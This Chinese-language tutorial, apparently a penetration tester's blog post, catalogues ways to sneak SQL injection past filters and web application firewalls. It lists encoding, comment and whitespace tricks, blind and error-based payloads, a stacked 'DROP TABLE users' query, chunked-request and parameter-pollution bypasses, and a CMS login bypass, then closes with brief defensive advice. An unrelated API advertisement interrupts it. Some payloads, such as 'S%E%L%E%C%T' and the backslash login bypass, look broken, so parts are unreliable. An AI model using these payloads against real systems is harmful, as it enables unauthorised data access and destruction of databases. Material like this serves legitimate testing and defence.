1. SQL注入绕过的核心逻辑与分类
SQL注入绕过本质上是对防御机制的对抗性测试,主要针对三种防护层:输入过滤器、WAF规则集和数据库自身防护。根据我多年渗透测试经验,绕过技术可分为以下五大类:
1.1 编码混淆类绕过
这类技术通过改变攻击载荷的编码形式来绕过简单过滤:
sql复制-- 十六进制编码
SELECT * FROM users WHERE username=0x61646d696e
-- URL编码
UNION%20SELECT%201,2,3%20FROM%20users
-- 双重URL编码
%2553%2545%254c%2545%2543%2554%2520%252a%2520%2546%2552%254f%254d%2520%2575%2573%2572%2573
实战提示:MySQL中0x开头的十六进制串会被自动转换,这个特性在过滤引号时特别有用。
1.2 语法变形类绕过
通过等价语法替换关键操作符:
sql复制-- 等号替换
WHERE 1 LIKE 1 -- 替代 WHERE 1=1
WHERE 1 BETWEEN 0 AND 2
-- 注释分割
SEL/*xxx*/ECT * FR/*xxx*/OM users
-- 空白符变异
S%E%L%E%C%T 1,2,3
1.3 逻辑混淆类绕过
利用数据库特性构造非常规查询:
sql复制-- 布尔盲注变体
admin' AND (SELECT MID(password,1,1) FROM users LIMIT 1)='a' OR '1'='2
-- 报错注入
AND GTID_SUBSET(CONCAT(0x7e,(SELECT user()),0x7e),0)
-- 堆叠查询
'; DROP TABLE users; --
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 针对WAF的进阶绕过技巧
2.1 HTTP参数污染技术
利用WAF与后端解析差异:
code复制?id=1&id=2 UNION SELECT 1,2,3
Apache+PHP会取最后一个参数,而某些WAF可能只检查第一个参数。
2.2 协议层绕过
http复制POST /login HTTP/1.1
Transfer-Encoding: chunked
4
user
8
' or 1=1--
0
通过分块编码可以绕过部分基于内容长度的检测。
2.3 超长数据绕过
某些WAF对超过特定长度的参数不做深度检测:
sql复制admin' AND 1=1 AND 'xxxxxxxx...[2000+字符]...xxx'='x
3. 数据库特性利用
3.1 MySQL注释特性
sql复制/*!50000SELECT*/ * FROM users -- 版本条件注释
3.2 MSSQL动态执行
sql复制EXEC('SEL' + 'ECT * FROM users')
3.3 PostgreSQL类型转换
sql复制SELECT * FROM users WHERE id=1::text
4. 实战案例解析
4.1 某CMS登录绕过
原始语句:
sql复制SELECT * FROM admins WHERE user='$input' AND pass=MD5('$pass')
绕过方案:
sql复制user: \' OR 1=1 --
pass: anything
最终执行:
sql复制SELECT * FROM admins WHERE user='\' OR 1=1 -- ' AND pass=MD5('anything')
4.2 过滤空格场景
使用括号替代:
sql复制SELECT(column)FROM(table)WHERE(1=1)
5. 防御视角的对抗建议
- 参数化查询必须严格实施,这是唯一可靠的终极方案
- 多层级过滤策略:
- 输入层:长度限制、字符白名单
- 应用层:预编译语句
- 数据库层:最小权限原则
- WAF规则需要定期更新,重点关注:
- 非常规编码检测
- 语法异常检测
- 流量基线分析
在最近的一次渗透测试中,我们发现某金融系统虽然使用了参数化查询,但通过精心构造的JSON参数仍然实现了二阶注入。这说明安全防御需要全链路覆盖,任何环节的疏忽都可能导致防线崩溃。
